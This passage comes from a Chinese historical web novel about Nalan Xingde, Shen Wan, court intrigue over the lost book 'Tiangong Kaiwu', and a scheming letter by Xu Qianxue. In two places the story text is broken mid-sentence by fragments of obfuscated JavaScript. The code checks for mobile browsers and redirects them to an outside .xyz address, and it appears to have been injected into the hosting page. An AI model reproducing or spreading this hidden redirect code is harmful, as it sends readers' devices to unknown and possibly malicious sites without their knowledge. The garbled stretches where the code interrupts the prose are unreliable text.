“师傅,”沈宛把姜飞远姜副爷所言的“罗带香”之事相告,“您说……纳兰公子会不会因此知道了您的身份?” “兜兜转转,机缘难避。”宋应星毫不介意,“纳兰性德本就聪明,上天要借这个机会给他,让他半卷入《天工开物》丢失的事件之中,就说明我跟他有缘,是良缘而非恶缘。无妨,无妨。” “师傅,朝廷那边因为找不到您的书,就有了新舆论传出。”沈宛又把姜副爷提及的另一个传言说了出来,“那些精兵和侍卫说,是您私自藏匿了《天工开物》,意图搅得天下不宁。” “那又如何?我闲得慌吗我?难不成逮捕了我,千方百计撬开我的嘴,《天工开物》就能被找到了?”宋应星把右手边的窗户一关,“真是荒唐至极!” “总之——”沈宛斟茶道,“我觉得康熙皇帝自身,才是最大的始作俑者。” “天子要是有心筹谋一切,那‘神龙镖局’的镖师们、受雇于主的江湖探子们、精兵和侍卫、徐乾学一派……谁能得手?” 说着说着,宋应星忽然自嘲而笑。 笑着笑着,他的神色却缓缓降作凄凉。 “御婵,康熙皇帝该不会又是为了纳兰公子——” 宋应星双目清然而通透,“先用了《湖心亭看雪》疑案、禁书《夜航船》、若词王诗案等一系列举动来折腾了张岱,又把注意力对准了我吧?” “师傅,您和张岱先生都是顶尖的文人,想要逃脱天子的掌控,怕是去到天涯海角都难。”沈宛道,“文治武功也好、推行满汉一家策略也罢,拿纳兰公子当‘理由’都好,皇上就是皇上,动什么心思何须臣民猜测?” “你说这回,康熙皇帝又想干什么?”宋应星焦心,“并不是全部圣恩,纳兰公子都承受的起呀!” “这我可不知道。”沈宛摇头,“别说是我,公子本人怕是也一无所知。” * 次日。 沈宛睡醒之后,来到院中栽种与容若同品种的鹅黄色水仙花。 有信使送了署名为“鹅梨”的信件过来,沈宛心中欢喜。 “鹅梨”是容若的通信别名,也曾出现在给张纯修的书简中,沈宛都是知道的。 宛卿亲启: 书信到时,恰是江南飞雪凭窗日。 宜备一盘秋时收获的葵花籽自炒,酌以一壶碧螺春,听两三句枯枝落石的质朴声响,可得色香味和听觉之趣。 我看渌水池中残荷,多有时空交错、流年易逝之感。 诉于宛卿,分愁销愁,担得心境。 鹅梨冻而未冻,香酥脆矣,独立茕矣,还须合掌温惜。 自盼佳期来时,与宛卿携手西子湖畔,观早荷而取其中的杨诗【注1】意境,过轻舟二十四桥而赏鉴白石曲【注2】,再摘得明月一轮,莫论稼轩【注3】何处玉兔解沉浮。 我自别宛卿以来,家中一切安好,唯独皇上之心意难揣,危然于中秋佳节。千万不是,我自承认,然至今不见皇上迁怒,愁煞鹅梨心蕊。 暮暮然觉核重,谩削果物而不知身神之所向。 犹记宛卿初着旗妆装时候,干练飒爽,灵动明俏,一笑动我心。今在江南,寒衣更替罗带,切记珍重保暖,勿要轻姿入风雪。否则鹅梨易伤,轻触即倒,再碰则凹,三动而碎,此非夸张。 每每言己,皆非为己,对宛卿甚是挂念。 宛卿所赠:唐王维香盏一鼎,我已收到,刘在素馆雅室之中自用。 我素爱王维心境:与明月问知否。得“我心素己”四字,方是参禅的至高境界,我比王维之不及,愿借其所用过之物和其所斟掠过明月来补足。 由此,我便猜宛卿日常也多读王维诗和多看王维画。私以为,真正得诗画神韵且一生“玉树风铮”、无愧天地之人,唯王维而已。 我欲效仿王维,书“画中词、词中画”一卷,寄赠宛卿。 一双人,盼江南京华安好。 折纸处,封筒难装情思盛。 再过一月便是年,念两处节日滋味,与宛卿共围炉、煎茶心。 待到春华南北遍,传一番芳菲小调,与宛卿卷中游、月下吟。 祝好。 鹅梨。 沈宛的指尖抚过信笺落款处容若的印章,但觉“鹅梨”二字自惜可爱。 此中涓涓流淌的字句,像是容若坐在她身边诉说心事一般,叫她心思沉静,愿意把一切安然都给他。 她读出了容若在信中的“小心”和“言之未尽”—— 他没有提及自己的婚后生活,也许是觉得不合适相告。他是个会仔细衡量“分享”这个词的轻重和用意的人,一旦他认定“分享”会在无形中转变为“自私”和“自满”的时候,为了消除对方的误会,他就不会提。 他把悲喜藏在心里,只说天气和好物,用来表达的自己的关心和对心意互通的珍重。情爱字眼未现,却是已然感知于她的心中;叮咛字句未明说,却是用贯穿始终的“鹅梨”物感来喻己,传递出了几丝“容若情绪”,见真见形,亦如见人。 沈宛把容若的信件收在自己才知道的隐秘处。 温着一颗围炉心,她对他的字画有所期待,也对容若的生活许下祝愿。 ——公子,你所期待的“一家子”的感觉,随着子嗣的诞生,已是越来越近。 ——只要是你在素馆中给我写信的时候,脸上带着笑容,你多跟我说说“一家子”的点滴,也有没关系。我,只愿你好;如是,我亦是安好。 * 明府,容若睡在软塌上。 午后的阳光见冷,他亦是盖着鹅绒被来保暖酣眠。 觉罗氏跟卢氏一并进来,叫醒了他。 容若笑对额娘和爱妻,道:“儿贪睡,已是下午了?” “离晚膳倒是还早。”觉罗氏坐在儿子对面,“额娘和尔谖见袖云的肚子渐大,看着像是怀了双生儿,便过来跟你说。” “那便是好。”容若高兴,“人多家里热闹。一男一女,男孩叫富格,女孩叫苌情。” 卢氏在容若身边坐着,用自己的手握暖着他的手,“公子已经想好女孩的名字了?” “是刚刚想到的,额娘尔谖,你俩觉得‘苌情’这个名字如何?” “对女孩子而言,恰是合适。”觉罗氏点头应着,“亦是好记好写。额娘愿苌情以后能嫁个好人家。” “尔谖的名字带个生僻字,公子熟读汉书、精炼汉字,所以深明其意。”卢氏温声道,“想必‘苌情’二字,也别有深意。” “我希望长女能入周代的大学者苌弘一般才华横溢。”容若对卢氏怜爱道,“你的名字有‘谖草’之意,苌字做植物解时,‘苌瑛’也有坚忍不拔的好寓意,我盼着苌情是个独立自强的女子。” 觉罗氏欣慰道:“容若,你的正夫人和侧夫人之间相处如姐妹,额娘便是替你放心。虽说咱们明府不必把侧室的孩子交由正妻抚养,但是你给侧夫人的女子取名当中,包含着两份情,也是用心良苦,袖云定是能够明白。” “是。”容若孝顺道,“等到袖云的孩子诞生,也是劳请额娘多费心。” “这你不必担心,我这个玛嬷定是把孙儿们当作是你一般疼的。” 明珠在夫人和儿媳之间的温馨氛围和谈笑声中,走进容若的房间。 “何事高兴?”明珠择凳而坐,笑问,“也说给本官听听。” “回阿玛,儿给长女取了名字,叫做:苌情。” “秦观道:两情若是久长时,又岂在朝朝暮暮。”明珠如此理解,“本官亦是赞同,只是——” 明珠对容若劝道:“儿啊,你说:人生若是只如初见,何事秋风悲画扇?这是第一情阶‘初见’;你爱的诗人李商隐说:何当共剪西窗烛,却话巴山夜雨时。这是第二情阶‘想见’;如今你从秦观词中抽取出了一句‘永见’,唉……” “莫说阿玛没有提醒你,人呐,就是最怕言灵。”明珠淡淡摇头,“你们父女之间,莫要真应了那句秦观词才好。” 容若只说“不会”。 此时的他,并不知道:日后自己的女儿苌情,被康熙皇帝指婚给了年羹尧。 这桩亲事,康熙皇帝用意有二:对纳兰氏权倾朝野狠做打压;见不得容若苌情父女情深,百计疏离。 这些,都是后话了。 明珠并未久留,理了理容若的情绪,便叫了觉罗夫人一起离开了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14693846|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而容若自身,则是继续躺下歇着,听雪声、听煮茶的水沸声、听室内无香花瓣的绽放声……怡然自得,不拘尘俗。 * 索额图府邸。 有江湖探子前来回话。 “你不是在为本官办事,而是在为将来的皇上办事!”索额图声线低沉地向探子暗示,“等到皇太子继承大统,本官不会忘记你的旧时功劳。” 说罢,索额图又换了副面孔冷问:“你说你没探到《天工开物》的下落是怎么回事?找不到踪迹,还是这东西已经不存于世?” “索大人,您想在皇上之前找到宋应星的书,得看上天给不给您这个机会。”探子心直口快,“不然皇上的脸面挂不住,宋应星还在别处过他的悠闲日子,罪名还是会怪在您头上。” “本官要是有能耐去找,还用指望你吗?”索额图一撇窗外飞过的一只鸟,“这书难不成真的已毁?” “现在可是什么说法都有。”探子道,“有人说《天工开物》早已被官云辞和禹之鼎一同带出海外去了!” 索额图就跟是大彻大悟一般,横眉一挑:“本官就说啊,这一切全是明珠的阴谋!” “纳兰性德喜欢读书,官氏女迟早要嫁入明府,明珠肯定是用见不得光的手段觅得了《天工开物》原稿,借了官氏女之手暗渡陈仓。这私自将大清国的典籍献给法兰西的太阳王路易十四,可是欺君之罪!!” “索大人,您未免太过牵强附会了吧?”探子瞠目,“明珠大人这么做,对纳兰家有什么好处?更何况路易大帝也看不懂的汉字啊!” “明珠心思狡诈,指不定叫纳兰性德在背后教唆了官氏女和禹画师什么。只怕是数年之后,那二人回到大清,能把朝纲和教化搞的天翻地覆……唉,本官心痛呀。” 索额图做出了按压心脏的姿态,就差再掉出几滴眼泪来了。 “既然索大人把矛头重新对准了明珠大人,那《天工开物》的下落,小的是继续找?还是到此为止?” 索额图把一袋碎银放在探子手上,叮嘱道:“你继续去找,任何蛛丝马迹都不要放过,《天工开物》出海跟留国的可能性各半,皆是不可掉以轻心。” 探子拿了钱,就得令办事去了。 索额图仍旧在厅内踱步。 ——再怎么着,本官也抓住了一根救命稻草。 ——本官就算是遭了康熙皇帝的误疑之罪,也要拉上明珠你来当垫背的。 * 清晨。 宝华殿禅房内,德嫔刚刚做完早课。 墨心拿了一食盒的素点心进来,道:“娘娘,前方有密报,说是佟佳侍卫身中一箭,负了重伤。” 德嫔把经卷旁侧的五色秋菊“咔擦”一剪,冷道:“蒙古骑兵用的是大刀和马鞭,而非箭术。隆科多想邀功,也不想点像样的理由出来。” 墨心依次把一碗红豆小米粥和一份南瓜素饼、一碟脆皮金针菇卷端出,道:“娘娘慧心,肯定是看的比佟佳侍卫明白。只是密报已经转到皇上手中了,佟佳侍卫怕是真的难以圆谎。” 德嫔夹了个金针菇卷到碗中,“本宫如今是清修之人,禅房之外的事,一概不理。隆科多非要搬石头砸自己的腿,只能是叫他自己长这次的教训。” 墨心道:“那万一皇上嗔怒,治了佟佳侍卫的罪呢?” 德嫔面无表情,只平静道:“朝中不是还有佟国维大人吗?皇上能不看佟大人的颜面?隆科多只是犯了名利之心罢了,又不是联合漠北草原的部族谋反,即便是领罪、也是领的训诫小罪,降不了职、掉不了脑袋。” “只是,佟佳侍卫终究是给皇上留下了不老实的印象啊!”墨心担心,“皇上要是质疑他的忠心……” 德嫔却是忽然笑了,心知肚明,道:“谁在皇上眼里是百分百的忠臣呢?哪怕是雨润冰清的纳兰公子,也未必是。” 吃罢素膳,墨心陪德嫔在小花园中散步。 小雪分落,过处见晶莹;偶有簌簌,是风过枝梢。 “娘娘,您仍旧打算过完冬天再回永和宫?” “现在还不是时候。” “春来雪消融,凡事见清明,莺歌燕舞终有时,青灯黄卷宜偶居。本宫回去以后,要挨个给皇上、太皇太后、皇贵妃和惠姐姐、荣姐姐、宜姐姐请安。” “娘娘自识时务,前路如何走都是明白的。” “本宫日日拈香抄经,人静而心不静。就跟这个后宫一样,不惊扰皇上就风平浪静,惊扰了皇上就是风雨肆虐,全看女人跟女人之间勾心斗角。要想获得真正的宁日,不可能的。” 小径尽头,墨心止步:“娘娘现在打算做什么?” 德嫔转身,主意既定:“回禅房,缝制素心禅香香囊。” 墨心下意识问:“给皇上的吗?” “当然是给皇上的,难不成是给隆科多吗?”德嫔责了墨心一眼,“隆科多自己犯了糊涂,邀功不成反被康熙皇帝质疑,就别怪本宫对他置之不理。” 【注1】杨诗:指杨万里。小荷才露尖尖角,早有蜻蜓立上头。 【注2】白石:指姜夔。二十四桥仍在,波心荡,冷月无声。 【注3】稼轩:指辛弃疾。谓经海底问无由,恍惚使人愁。问云何玉兔解沉浮? 153.第153章 容若是个有言实行之人。 决定带卢氏出去走走,就不会食言。 所到之处,是一个远离京师繁华圈的秘境深里。 沿着曲径进入,可见一洞窟,洞窟逆光,只能瞧见浓墨似的的黑暗和感触到四面而来的冷风,但是说来也怪,明明是个岁月蹉跎的自然造化而成古朴洞天,却不闻苔藓之味和阴湿之气,反而是有阵阵花香扑鼻,不知是从何处而来。 洞窟的两侧,各有一棵古树。 古树树皮厚重,丝毫不惧白雪欺压;偶尔有一只松鼠跳跃而过,也是迅速消失在眼前,不肯多沾染人间烟火。 又见树根处,有一青灰色的石板,不知是哪朝哪代谁人所铺,唯独是上面的一首诗刻,不灭痕迹: 从容只是愁风起,眷恋常须向日西。 野客未来枝畔立,攀来折去亦成蹊。 此诗作,乃是出自唐朝“大历十才子”之首的钱起。 容若心想:钱起诗作向来清丽奇瑰,最是讲究字词选取和意境切入,今日所见,的确如此。 容若和卢氏在洞窟的不远处,观而未入。 前有清风着心情,后有足迹印雪痕。 左感天际之光影,右揽流云之阴晴。 夫妻二人,心情愉悦。 且待整合,一同入了这洞天—— 好见识究极之迥异、感慨天地之无穷、自然之鬼斧。 * 容若对爱妻夸赞道:“尔谖,你的‘探幽’一词用的好。” 卢氏道:“有公子相引,越往深处,越得乐趣。” “我并未进入过,只是心中向往。”容若缓步向前,“我在‘花鸟风月楼’中也多听一些山河奇观之事,今日能跟夫人一起同游,便是满愿。” “公子为何选取在冬季寻访洞窟?” “你发现没有,万丈沟壑纵是伴着万里黄土,深山冬天近侧必有清溪。”容若的目光向溪流处,“再寒冷,清溪都不会完全冻结,这就是上天给予探幽者们的乐趣吧?” “希望冰消雪融之后,能跟公子一同在情意深处踏歌逐浮舟。” “去清泉处,比泛舟湖上的好。”容若问爱妻,“你知道是为何吗?” “诶——”像是有心灵感应一般,卢氏笑问,“难道公子近来在读王维的诗、鉴王维的画?” “嗯。我仔细数了数,明月、清泉、素、心、翠,这些字出现的最多。”容若共鸣共感,“我跟王维一样,平日里多素食,只是这‘素心素己’的境界,我与他相比还差得远。” “就——”容若诚挚,“先跟尔谖你一起:入清泉、逐浮舟、邀明月吧!” “公子定是能够写出比王维更好的作品。” 容若把自己之前写的《酒泉子》念给卢氏听: 谢却荼蘼,一片月明如水。篆香消,犹未睡,早鸦啼。 嫩寒无赖罗衣薄,休傍阑干角。最愁人,灯欲落,雁还飞。 “你看我这首词,对比王维是否相形见拙?”容若半低着头,看着盖雪的前路,“王维的诗,字字清雅,句句清新:明月松间照,清泉石上流。而我的词,带伤带愁,一颗素心捧与明月,还被明月多情应笑。” “张先也一样写月亮,但是他写的没有公子好。” 卢氏念出张先的词作《木兰花·乙卯吴兴寒食》来: 龙头舴艋吴儿竞,笋柱秋千游女并。 芳洲拾翠暮忘归,秀野踏青来不定。 行云去后遥山暝,已放笙歌池院静。 中庭月色正清明,无数杨花过无影。 容若心情微提:“是吗?” “是。但是公子为何在《酒泉子》中化用张先《醉落魄》的句子?”卢氏不掩自己的学识,“朱唇浅破桃花萼,倚楼人在阑干角,夜寒手冷罗衣薄。“ “思之切,心里想着对方也无眠。”容若竟自微笑,表情和然,“有女模样如是,唇比花萼,蕊飞珠钗。” 忽而他又留神,似乎意识到了自己后半句话说的不妥,便对卢氏道:“尔谖,原谅我吗?” 卢氏性格宽和,抚着容若的情绪道:“公子的心是公子自己的,属于谁、分给谁、留给谁,全凭公子自己做主。” “是我自己纤细敏感,夫人不必觉得我无错,反而加以劝慰。” “公子愿意让一颗心承载着家国天下,多情并重,如何有错?”卢氏神色柔婉,“尔谖嫁给公子,不是为了或是想着独占公子的心。尔谖所珍惜所感动的,是公子日积月累的爱与疼惜,所以不与旁人争、不与旁人比。” 容若心中,对爱妻的的珍惜,已然胜过感动、盖过愧疚。 他觉得温暖,像是多得了一只暖手的小铜炉、多添了一件锦衣一般。 他所需要的,就是被人理解、被人温言相待。如果这些可以让对方由衷地给予,而不是自己说理作请的话,那么对他来说,已然是至幸。 随着日光慢移,洞窟已是可见光影。 一扫先前暗黑,竟有五色奇境之喜。 容若指着前方: “尔谖,你在家中,在阿玛和额娘的注目下,定是有许多拘束和放不下的地方,我都明白。所以,我打算多带你出来走走,去一些平时我也没有去过的、但是从别人口中或是从书籍看到过的、清奇有趣之处,共拥一番‘别有洞天’的乐趣。” 卢氏心里明白:此时定是不能够说出一些扫容若的兴致的话来。 像是:公子体质敏感,进去深幽岩洞多易着凉,要注意着些;无人洞窟幽暗深远,只怕里面多藏着蝙蝠和壁虫,要随时做好惊吓而逃的准备;至若明丽之境,也要提防着所见皆梦幻的危情才好,免得落入深不可测的恶潭之中。 卢氏忽然又想笑自己。 笑自己为容若劳心、挂心、担心。 但是在她心中,当真是舍不得最好的夫君遇险、遇难、遇危关。所以她才会紧随在夫君身边,与夫君一同面对未知、面对惊喜或平淡。 * 容若翻出两根蜡烛,引燃灯苗,与卢氏各执一只,往洞内走去。 “果真是奇境!” 容若对眼前所见,感慨无限。 洞口虽小,里面的天地却大。 潺潺的地下流水,带着些淡淡的蓝色,可见底部滑石,颇为清澈。哗哗的节奏清音,如同雀鸣,可感阳春三月之好。更有上方的倒立石笋,尖尖似剑,却刚柔并济,能滴清露。 容若和卢氏置身其中而不觉寒,反倒是有种甘愿远离纷繁尘世的返璞归真之感。 烛光明亮,火苗不动,时光若能由此静止,以洞中一日换取世上一年,以世上一年换取人间百年,该多好。 “世上有许多僻静之处,你我第一次来此洞窟观流水赏石笋,可是觉得此处多设几盏明灯会更妙?”容若问她,“人在奇境中,竟不知是:灯给冬天着了色,还是洞天之色反衬与灯。” “世间总物燃不尽的灯,所以也就不存在永见光明的洞窟。”卢氏与容若一同站在高处,向下看着那条自成的溪流,“尔谖觉得:是你我这些人间惆怅客给了此处别样的景致,颜色不在自然造化,而在乎来客们的心念。” “映在脑海中的景色,归家之后反而难以成画。”容若携手爱妻绕石径而走,“但是记在心间的尔谖的好,却是写几首词都不嫌多。” “所幸是白天踏白雪而来,公子未穿白衣。”卢氏嗔笑一抹,“不然白衣染上了‘似有还无’的洞天颜色,便不是公子抛却闲情能去除的了。” “如你所说。记忆——”容若会心而颔首,“不在阅色此洞天,素衣还怕带旧颜;唯有身旁尔谖在,万千共情一并肩。” 临近溪流,卢氏静聆,道:“公子你听,有游鱼吐息之声。” 容若半身稍倾,“方才在高处瞧不见,也不曾觉得有生灵,不料却是捕捉到了惊喜。” 夫妻二人静听细看,直到烛火将尽,才做了离开的打算。 往外走的途中,容若问了简单但是关切的话:“今日可是难忘?” 卢氏道:“难忘。在奇观也在人,在心情也在心身。” 容若将卢氏手中将尽的烛火拿过,怕烛油烫着她。他只将左半身靠近她,而将双烛握在右手,半举斜照着俩人的眼前路。 这般呵护,是他觉得自己能为她付出的当下之爱。 当下之爱,从心而生,见于行动,在不知不觉之间表现,他对她的感情愈深愈增。 “比如说?” “比如说细细捕捉公子的每一个表情:高兴的、惊讶的、欣喜的、后怕的、逞强的、甚至是可爱的、调皮的、让人没办法的。总能扣我心弦。” “容若心思纯真?亦或是——” 他不好意思,有意把话只说一半,却又把那种“被珍惜感”和“被在乎感”放在心上。 “有谋而纯粹,这是尔谖心中的公子。” 她这般回应他。 准确的不差分毫。 * 走出洞口,强烈的光影反差感刺的容若连连眨眼。 ——从亮入暗易,弃暗投明难。 ——天理如是,人理亦然。 容若吹灭烛火,将残烛收起,放入一个布袋中,投入古树侧面的集物处。 他回来时,见卢氏已经为他准备了御寒的披风,便在她的系结动作中,温润看她:“你我从岩洞中出来,仍旧是一身清雅,不如一同去‘花鸟风月楼’坐坐场子,如何?” “只是坐场子?” 公子心思缜密,绝对不止于此。 “也跟尔谖一同观看孔尚任的新作。温茶吃饼,听戏听谶,闻笑接喜。” “尔谖记得,公子一向不爱看戏剧。” “嗯……兴致上来,不走一遭可惜。” “好,尔谖与公子同去雅楼。”才上马车,卢氏又心善道,“看戏完毕,回府之时,不如一同买些酸枣糕回去给袖云妹妹吃?” “那便连着山楂卷也一并买了。”容若笑,在车夫的赶马声中,“江盛斋的点心和果干在京华数一数二,就买那家的。” * 花鸟风月楼。 夜幕低垂,华灯初上,正是谈笑风生尽兴时。 孔剧先登,洪剧接力,雅俗共赏。 南腔北调,有板有眼,精彩纷呈。 容若和卢氏才从“花鸟风月楼”中走出,就看见一个穿着紧身黑衣、功夫极好的身影从眼前一闪而过。难说是盯着容若本人,还是盯着明珠手下的雅楼。 “尔谖,你留在这里等我,我很快回来。” 容若凭着自己的敏捷身手和精湛武功,向那个黑影追了上去。 ——公子小心。 卢氏在心中暗喊,然后退到了一边等待。 * 容若对那个黑影一路追逐,飞檐走壁,不输京城里有名的捕快。 他在脑中暗猜: 难道是索额图派来的江湖探子?难道这个江湖探子从我今早外出开始,一直跟踪我到现在?阿玛明珠就算是再大意,也不可能把《天工开物》私藏在秘密洞窟或是“花鸟风月楼”里面吧?想以我为突破口,更是不现实。 容若却忽然见那个黑影一把踏上一根大树的粗枝,震落簌簌雪,弹跳向了旁侧房屋的砖瓦,再又是往后投了一颗烟雾迷弹,错乱了自己的视线,想再往前直追,已然难辨其所往。 半路跟丢。 这四个字难免让容若不甘。 再细思那个黑影背后的主使,容若更是愤愤难平。日常自己的踪迹和文字全受康熙皇帝的管束也就罢了,到如今连跟爱妻一同出游的时光也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14705542|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在别人眼皮底下,被跟进着、别有用心地町看着,实在是想平静下来都难。 在原地站了好一会儿。 容若定了定神,往前一看—— 前边不是“裕亲王王府”和“瓜尔佳府邸”吗?那个黑影怎么朝福全和云辞格格家的方向去了?索额图家,应该在相反面才对呀! 这是有意要迷惑我? 还是黑衣人的主雇……根本就不是索额图? 容若就这么回到了卢氏身边。 二人按照原计划,去“江盛斋”买了酸枣糕和山楂卷才回明府。 路上,容若对爱妻道:“此事我要细禀阿玛,方才你在等候期间,雅楼内外是否有异常?” 卢氏回忆道:“倒是有个小厮接了外送的单子,提了食盒往裕亲王府去。照理说王爷府上什么好厨子没有?为何要在过了晚膳的时分,再传府外的膳点?” “可疑,真是可疑。”容若思索着,“我也是跟黑衣人跟到中途,离裕亲王府还有一段距离处……才把人跟丢的。” “公子对黑衣人身份,可有眉目?” “猜不透,或许是阿玛的政敌、或许是想害我的人、或许是另有他谋。”容若握住爱妻的手,看着她的双眸道,“但幸好今日你我外出未遇险,不然让你受惊,我过意不去。” * 却说徐乾学的书信在抵达昆山老家之前,就已经被“神龙镖局·江南分号”姜飞远姜副爷的人马半途拦截,送到了沈宛手中。 “多亏姜副爷。”沈宛谢道,“徐乾学小人也,处心积虑,只为攀爬高位。其往来于江南各处的信件与镖物,不可顺其自然、直接送达。” “本副爷自然是信宛姑娘和宋先生。”姜飞远道,“昆山徐氏自恃一家三鼎甲,傲气横对门外客,我手下那些镖师去送货,没有不受徐家之人的眼色的。” “我思忖徐乾学的叵测居心全付信中,于我师傅宋应星不利,于我在乎的纳兰公子也不利,故而才有劳姜副爷你见信则拦。” “能让宋公和天下的纳兰公子免遭徐乾学之害与之祸,本副爷定当为宛姑娘效劳。”姜飞远义气凛然,“酬劳也是不必给的。” “多谢姜副爷!” 礼貌送客以后。 沈宛回到房间,按照《天工开物》里面所教的方法,无痕迹拆信。 沈宛展信,见信中所写,心中怒而惊。 徐家众人: 见信如晤,乾学久疏问候,有愧亲孝。 如今后宫局势,原遏必隆之女昭妃钮祜禄氏晋封皇贵妃,明党惠妃纳兰氏位列其次,更有索党以皇太子为筹码站稳阵脚,乾学无一日不是谨慎小心,只思索着早日官居高位,光宗耀祖。 后宫如此,何况朝堂? 年关将至,皇上处理政务越发勤快,好似赶着把折子都看完,好早日歇空去放松自己一般。眼下要事,无关军机,亦无关民情,而是大明士人宋应星所著述的奇书《天工开物》。 天子寻之,乾学亦寻之。 只盼着在天子之前寻到,好物尽其用,利己兴功。 乾学以学问见长,奈何在朝中始终只能靠己、而无法依附派阀。 此次乾学得神鸟开示,心之所辨,《天工开物》乃是流落到了江南某处,还请诸位家人助乾学一臂之力,早日将书籍找到,托付信得过的镖师运送至京师,乾学将有大用。 其一,此书能够切中康熙皇帝所需,乾学自有底气向康熙皇帝讨要封赏; 其二,乾学曾想与宋应星和张岱深交,却无不是自我取辱,心中愤概难消,正好可以推波助澜、重重揭发宋应星的反清造势之心、重农兴商之私欲、标榜留名青史之心机,让康熙皇帝以“谋反、煽动、乱世教化”三大罪狠治于他,方可平复乾学旧时积怨。 其三,乾学之学生纳兰性德,才华横溢,接连编就《古抄本十二卷》《通志堂经解》,写成《渌水亭杂识》《雨霁赋》《五色蝴蝶赋》等名篇,青出于蓝而胜于蓝,叫乾学难容。原乾学只想利用纳兰性德来反噬其父明珠,如今却成自我树敌,实在是:悔而不可全悔,恨而不可全恨,唯有不计手段与后果,较量之、暗害之,伤之除之而后快。 乾学乃有三件要事需要徐家众人相助: 踏遍江南可去之处,不计上天入地,寻找《天工开物》; 寻书途中,若与对方起了冲突,在自保和保书之间,不妨留下自己性命,销毁《天工开物》; 哪怕寻书无果,也不可轻易罢休,叫人散布《天工开物》已被纳兰父子私占就是,以“明党线人多次下江南、纳兰性德与江南文人布衣多有密函往来”为由。 天寒添衣,盼家人安好。 乾学顿首。 * 看到最后一句话,徐乾学将自己的恶行栽赃到容若头上,沈宛怒火纵生—— 恨不得立马强闯皇宫,以己为证人,将徐乾学的歹心与恶行向康熙皇帝和盘托出。 然而,区区一民间女子,进入皇宫谈何容易? 也只能在嘴上将徐乾学狠狠唾骂、及早让容若知晓此事而已。 沈宛立刻将徐乾学的书信原稿和自己的密信一同,点胶粘合,放进一只枫木笔盒的夹层里。 她将一切伪装成“容若购置”的“江南名品”的模样,直奔镖局,让姜副爷手下的两名精锐镖师将东西送到“饮水词歌·素菜馆”。 她对那两个精锐镖师叮嘱: “你俩抵达京师后,见纳兰公子的机会没有确数,须先择一处住下。” 她摘下自己的一对耳环,细道: “你俩以这对耳环为信物,拿给素馆的刘管事看,他自然不会阻拦你俩入馆。” “此镖物事关重大,切记不得转交。定要在素馆等到纳兰公子本人来了为止,当面拿给他。” 154.第154章 翌日。 容若把黑衣人之事一一向明珠道明。 明珠道:“朴尔普大人默认了你是他女婿,不会派人来做对纳兰家不利之事。裕亲王福全修身养性,议政王会议皆是告假不去,怕是也无心卷入江湖是非。” “那就是处处指向索额图。”容若嘴上这么说,心里却不那样认为,“索额图如此声东击西,岂非此地无银?” “你且当那个黑衣人是冲着我明珠来的,不必波及自身。” “阿玛,您对《天工开物》的下落怎么看?” “等着曹寅曹侍卫的追查结果吧!”明珠晃了晃腿,“皇上要是真着急,早就先治罪一波人了,你说为何皇上没有动静?” “年关将近,诸事繁杂,皇上的注意力也不全在找书这一件事情上。” “你不妨多进宫走走,照本官看,皇上不会把你晾着太久,是时候给你一个明确的职位了。” “侍奉君侧不离,有没有职位都一样。”容若看得开,“距离考试第十位的事情已经过去快两年,儿放下了。” “你可以把自己当作是伴君一生、有无官阶皆可之人,但是你阿玛我不能。”明珠严肃地看着儿子,“这些年栽培你的心血要是没有实际可见的成果,我心里也不好受。” “阿玛您始终是觉得:儿的词名和天下名,输给一个官位之名。儿都明白。” “容若,你莫要觉得功名利禄都是虚空,朝野看这个,青史也看这个,甚至是墓志铭,也是要刻下这个。人活一世,丰功伟绩都归帝王将相,风月情调都归歌楼红萼,到头来,你的文学才思闪耀星河又如何?后人谈及你,谈得最多的还是你跟康熙皇帝之间的君臣关系、和你作为我明珠之子的身份。” “阿玛教导的是,若是日后官职下来,儿在位而施展所能就是。” “容若你记着,康熙皇帝再怎么制约你我父子的份量和权能都好,你身后有我,有我明珠。” “是,儿在阿玛的前路上,阿玛在儿身后,会扛下康熙朝的风风雨雨。” * 离开明珠的房间后,容若去看望了颜氏侧夫人。 颜氏的胎象养的好,精神状态也好,平日里有额娘和卢氏正夫人陪着说话,也是多闻笑语,和畅安慧。 容若便是觉得这样的氛围好,妻贤母慈,相互扶持,好运定会降临不迟。 掀开挡寒风的厚帘子入内,容若笑着走向袖云。 袖云见公子来了,喜悦道:“袖云安好,请公子安好。” “都好,都好。”容若坐在侧夫人身边,问:“江盛斋的山楂卷和酸枣糕,你可都尝过了?合胃口吗?” “多谢公子,多谢正夫人。” 袖云跟容若心照不宣地一笑,彼此之间,无需赘述多余的话,便已将心思揣明。 ——山楂卷是公子挑的,酸枣糕是卢氏夫人选的,公子把自己的心意放在前面说,正是在乎颜氏侧夫人之意。 ——一个领情的“谢”字,比正面回答“尝过”和“好吃”要精致。公子想听的绝对不是相关味感的话,而是自己的透过这一份味感所传递出来的心意,颜氏侧夫人是否接得住。 “天冷房中有红萝炭暖着,但也要注意着通风才好。” 容若说着,用眼神示意丫鬟去开个小窗缝。 “公子也是,要舍得多在暖榻上面温着,看书闻香,赏花听雪都是好的。” “我此刻就是想把自己要当阿玛了的心情分享给你。”容若面带高兴,轻抚袖云的肚子,“双生儿好,一并疼爱,倒是不分了先抱谁出来,谁为长、谁为次。” “若是一男一女,便是同为长子长女;若是双男双女,便是由公子来定。” “那我就多准备几个名字。”容若喜上眉梢,“也提前去‘济国寺’把孩子们的名字都拿去给妙觉禅诗看,请他为袖云你和孩子们一并祈福。” 